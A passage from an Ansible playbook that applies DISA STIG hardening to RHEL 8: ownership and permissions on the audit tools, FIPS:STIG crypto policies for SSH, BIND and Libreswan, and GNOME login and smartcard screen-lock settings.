    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /sbin/ausearch
    ansible.builtin.file:
      path: /sbin/ausearch
      follow: false
      group: '{{ file_audit_tools_group_ownership_newgroup }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/autrace
    ansible.builtin.stat:
      path: /sbin/autrace
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /sbin/autrace
    ansible.builtin.file:
      path: /sbin/autrace
      follow: false
      group: '{{ file_audit_tools_group_ownership_newgroup }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/auditd
    ansible.builtin.stat:
      path: /sbin/auditd
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /sbin/auditd
    ansible.builtin.file:
      path: /sbin/auditd
      follow: false
      group: '{{ file_audit_tools_group_ownership_newgroup }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/rsyslogd
    ansible.builtin.stat:
      path: /sbin/rsyslogd
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /sbin/rsyslogd
    ansible.builtin.file:
      path: /sbin/rsyslogd
      follow: false
      group: '{{ file_audit_tools_group_ownership_newgroup }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/augenrules
    ansible.builtin.stat:
      path: /sbin/augenrules
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /sbin/augenrules
    ansible.builtin.file:
      path: /sbin/augenrules
      follow: false
      group: '{{ file_audit_tools_group_ownership_newgroup }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030640
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_group_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set the file_audit_tools_ownership_newown variable if represented by uid
    ansible.builtin.set_fact:
      file_audit_tools_ownership_newown: '0'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/auditctl
    ansible.builtin.stat:
      path: /sbin/auditctl
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /sbin/auditctl
    ansible.builtin.file:
      path: /sbin/auditctl
      follow: false
      owner: '{{ file_audit_tools_ownership_newown }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/aureport
    ansible.builtin.stat:
      path: /sbin/aureport
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /sbin/aureport
    ansible.builtin.file:
      path: /sbin/aureport
      follow: false
      owner: '{{ file_audit_tools_ownership_newown }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/ausearch
    ansible.builtin.stat:
      path: /sbin/ausearch
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /sbin/ausearch
    ansible.builtin.file:
      path: /sbin/ausearch
      follow: false
      owner: '{{ file_audit_tools_ownership_newown }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/autrace
    ansible.builtin.stat:
      path: /sbin/autrace
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /sbin/autrace
    ansible.builtin.file:
      path: /sbin/autrace
      follow: false
      owner: '{{ file_audit_tools_ownership_newown }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/auditd
    ansible.builtin.stat:
      path: /sbin/auditd
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /sbin/auditd
    ansible.builtin.file:
      path: /sbin/auditd
      follow: false
      owner: '{{ file_audit_tools_ownership_newown }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/rsyslogd
    ansible.builtin.stat:
      path: /sbin/rsyslogd
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /sbin/rsyslogd
    ansible.builtin.file:
      path: /sbin/rsyslogd
      follow: false
      owner: '{{ file_audit_tools_ownership_newown }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/augenrules
    ansible.builtin.stat:
      path: /sbin/augenrules
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /sbin/augenrules
    ansible.builtin.file:
      path: /sbin/augenrules
      follow: false
      owner: '{{ file_audit_tools_ownership_newown }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030630
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_ownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/auditctl
    ansible.builtin.stat:
      path: /sbin/auditctl
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-s,g-ws,o-wt on /sbin/auditctl
    ansible.builtin.file:
      path: /sbin/auditctl
      mode: u-s,g-ws,o-wt
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/aureport
    ansible.builtin.stat:
      path: /sbin/aureport
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-s,g-ws,o-wt on /sbin/aureport
    ansible.builtin.file:
      path: /sbin/aureport
      mode: u-s,g-ws,o-wt
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/ausearch
    ansible.builtin.stat:
      path: /sbin/ausearch
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-s,g-ws,o-wt on /sbin/ausearch
    ansible.builtin.file:
      path: /sbin/ausearch
      mode: u-s,g-ws,o-wt
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/autrace
    ansible.builtin.stat:
      path: /sbin/autrace
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-s,g-ws,o-wt on /sbin/autrace
    ansible.builtin.file:
      path: /sbin/autrace
      mode: u-s,g-ws,o-wt
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/auditd
    ansible.builtin.stat:
      path: /sbin/auditd
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-s,g-ws,o-wt on /sbin/auditd
    ansible.builtin.file:
      path: /sbin/auditd
      mode: u-s,g-ws,o-wt
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/rsyslogd
    ansible.builtin.stat:
      path: /sbin/rsyslogd
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-s,g-ws,o-wt on /sbin/rsyslogd
    ansible.builtin.file:
      path: /sbin/rsyslogd
      mode: u-s,g-ws,o-wt
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /sbin/augenrules
    ansible.builtin.stat:
      path: /sbin/augenrules
    register: file_exists
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-s,g-ws,o-wt on /sbin/augenrules
    ansible.builtin.file:
      path: /sbin/augenrules
      mode: u-s,g-ws,o-wt
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030620
    - NIST-800-53-AU-9
    - configure_strategy
    - file_audit_tools_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Implement STIG Sub Crypto Policy - Create custom crypto policy - cipher
    ansible.builtin.lineinfile:
      path: /etc/crypto-policies/policies/modules/STIG.pmod
      owner: root
      group: root
      mode: '0644'
      line: cipher@SSH=AES-256-GCM AES-256-CTR AES-128-GCM AES-128-CTR
      create: true
      regexp: cipher@SSH
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - configure_strategy
    - fips_custom_stig_sub_policy
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required

  - name: Implement STIG Sub Crypto Policy - Create custom crypto policy - mac
    ansible.builtin.lineinfile:
      path: /etc/crypto-policies/policies/modules/STIG.pmod
      owner: root
      group: root
      mode: '0644'
      line: mac@SSH=HMAC-SHA2-512 HMAC-SHA2-256
      create: true
      regexp: ^mac@SSH=
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - configure_strategy
    - fips_custom_stig_sub_policy
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required

  - name: Implement STIG Sub Crypto Policy - Check current crypto policy
    ansible.builtin.command: update-crypto-policies --show
    register: current_crypto_policy
    changed_when: false
    failed_when: false
    check_mode: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - configure_strategy
    - fips_custom_stig_sub_policy
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required

  - name: Implement STIG Sub Crypto Policy - Update crypto-policies
    ansible.builtin.command: update-crypto-policies --set FIPS:STIG
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - current_crypto_policy.stdout.strip() != &quot;FIPS:STIG&quot;
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - configure_strategy
    - fips_custom_stig_sub_policy
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required

  - name: Configure BIND to use System Crypto Policy - Check BIND configuration file
      exists
    ansible.builtin.stat:
      path: /etc/named.conf
    register: bind_config_file
    when: '&quot;bind&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010275
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - configure_bind_crypto_policy
    - configure_strategy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed

  - name: Configure BIND to use System Crypto Policy - Aborting remediation, file
      not found
    ansible.builtin.debug:
      msg: Aborting remediation as '/etc/named.conf' was not found.
    when:
    - '&quot;bind&quot; in ansible_facts.packages'
    - not bind_config_file.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010275
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - configure_bind_crypto_policy
    - configure_strategy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed

  - name: Configure BIND to use System Crypto Policy - Insert crypto-policy into BIND
      config
    ansible.builtin.lineinfile:
      path: /etc/named.conf
      insertafter: ^\s*options\s*{
      line: ' include &quot;/etc/crypto-policies/back-ends/bind.config&quot;;'
      state: present
    when:
    - '&quot;bind&quot; in ansible_facts.packages'
    - bind_config_file.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010275
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - configure_bind_crypto_policy
    - configure_strategy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed

  - name: Configure System Cryptography Policy - Check current crypto policy (runtime)
    ansible.builtin.command: /usr/bin/update-crypto-policies --show
    register: current_crypto_policy
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010270
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - NIST-800-53-AC-17(2)
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MA-4(6)
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.7
    - configure_crypto_policy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Configure System Cryptography Policy - Get mtime of /etc/crypto-policies/config
    ansible.builtin.stat:
      path: /etc/crypto-policies/config
    register: config_file_stat
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010270
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - NIST-800-53-AC-17(2)
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MA-4(6)
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.7
    - configure_crypto_policy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Configure System Cryptography Policy - Get mtime of /etc/crypto-policies/state/current
    ansible.builtin.stat:
      path: /etc/crypto-policies/state/current
    register: current_file_stat
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010270
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - NIST-800-53-AC-17(2)
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MA-4(6)
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.7
    - configure_crypto_policy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Configure System Cryptography Policy - Check existence of /etc/crypto-policies/back-ends/nss.config
    ansible.builtin.stat:
      path: /etc/crypto-policies/back-ends/nss.config
    register: nss_config_stat
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010270
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - NIST-800-53-AC-17(2)
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MA-4(6)
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.7
    - configure_crypto_policy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Configure System Cryptography Policy - Verify that Crypto Policy is Set
      (runtime)
    ansible.builtin.command: /usr/bin/update-crypto-policies --set {{ var_system_crypto_policy
      }}
    when: (current_crypto_policy.stdout.strip() != var_system_crypto_policy) or (config_file_stat.stat.exists
      and current_file_stat.stat.exists and config_file_stat.stat.mtime &gt; current_file_stat.stat.mtime)
      or (not nss_config_stat.stat.exists)
    tags:
    - DISA-STIG-RHEL-08-010020
    - DISA-STIG-RHEL-08-010270
    - DISA-STIG-RHEL-08-010290
    - DISA-STIG-RHEL-08-010291
    - DISA-STIG-RHEL-08-010296
    - DISA-STIG-RHEL-08-010297
    - NIST-800-53-AC-17(2)
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MA-4(6)
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.7
    - configure_crypto_policy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Libreswan to use System Crypto Policy
    ansible.builtin.lineinfile:
      path: /etc/ipsec.conf
      line: include /etc/crypto-policies/back-ends/libreswan.config
      create: true
    when: ( &quot;libreswan&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - DISA-STIG-RHEL-08-010280
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MA-4(6)
    - NIST-800-53-SC-12(2)
    - NIST-800-53-SC-12(3)
    - NIST-800-53-SC-13
    - PCI-DSS-Req-2.2
    - configure_libreswan_crypto_policy
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Disable the GNOME3 Login User List
    community.general.ini_file:
      dest: /etc/dconf/db/gdm.d/00-security-settings
      section: org/gnome/login-screen
      option: disable-user-list
      value: 'true'
      no_extra_spaces: true
      create: true
    register: result_ini
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020032
    - NIST-800-53-AC-23
    - NIST-800-53-CM-6(a)
    - dconf_gnome_disable_user_list
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification of GNOME3 disablement of Login User List
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/gdm.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/login-screen/disable-user-list$
      line: /org/gnome/login-screen/disable-user-list
      create: true
    register: result_lineinfile
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020032
    - NIST-800-53-AC-23
    - NIST-800-53-CM-6(a)
    - dconf_gnome_disable_user_list
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Dconf Update
    ansible.builtin.command: dconf update
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - result_ini is changed or result_lineinfile is changed
    tags:
    - DISA-STIG-RHEL-08-020032
    - NIST-800-53-AC-23
    - NIST-800-53-CM-6(a)
    - dconf_gnome_disable_user_list
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Detect if removal-action can be found on /etc/dconf/db/local.d/
    ansible.builtin.find:
      path: /etc/dconf/db/local.d/
      contains: ^\s*removal-action
    register: dconf_gnome_lock_screen_on_smartcard_removal_config_files
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020050
    - dconf_gnome_lock_screen_on_smartcard_removal
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Configure removal-action - default file
    community.general.ini_file:
      dest: /etc/dconf/db/local.d//00-security-settings
      section: org/gnome/settings-daemon/peripherals/smartcard
      option: removal-action
      value: '''lock-screen'''
      create: true
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - dconf_gnome_lock_screen_on_smartcard_removal_config_files is defined and dconf_gnome_lock_screen_on_smartcard_removal_config_files.matched
      == 0
    register: default_file
    tags:
    - DISA-STIG-RHEL-08-020050
    - dconf_gnome_lock_screen_on_smartcard_removal
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Configure removal-action - existing files
    community.general.ini_file:
      dest: '{{ item.path }}'
      section: org/gnome/settings-daemon/peripherals/smartcard
      option: removal-action
      value: '''lock-screen'''
      create: true
    with_items: '{{ dconf_gnome_lock_screen_on_smartcard_removal_config_files.files
      }}'
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - dconf_gnome_lock_screen_on_smartcard_removal_config_files is defined and dconf_gnome_lock_screen_on_smartcard_removal_config_files.matched
      &gt; 0
    register: existing_files
    tags:
    - DISA-STIG-RHEL-08-020050
    - dconf_gnome_lock_screen_on_smartcard_removal
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Detect if lock for removal-action can be found on /etc/dconf/db/local.d/
    ansible.builtin.find:
      path: /etc/dconf/db/local.d/locks
      contains: ^\s*removal-action
    register: dconf_gnome_lock_screen_on_smartcard_removal_lock_files
    when: '&quot;gdm&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020050
    - dconf_gnome_lock_screen_on_smartcard_removal
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification removal-action - default file
    ansible.builtin.lineinfile:
      path: /etc/dconf/db/local.d/locks/00-security-settings-lock
      regexp: ^/org/gnome/settings-daemon/peripherals/smartcard/removal-action$
      line: /org/gnome/settings-daemon/peripherals/smartcard/removal-action
      create: true
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
    - dconf_gnome_lock_screen_on_smartcard_removal_lock_files is defined and dconf_gnome_lock_screen_on_smartcard_removal_lock_files.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-020050
    - dconf_gnome_lock_screen_on_smartcard_removal
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy

  - name: Prevent user modification removal-action - existing files
    ansible.builtin.lineinfile:
      path: '{{ item.path }}'
      regexp: ^/org/gnome/settings-daemon/peripherals/smartcard/removal-action$
      line: /org/gnome/settings-daemon/peripherals/smartcard/removal-action
      create: true
    with_items: '{{ dconf_gnome_lock_screen_on_smartcard_removal_lock_files.files
      }}'
    when:
    - '&quot;gdm&quot; in ansible_facts.packages'
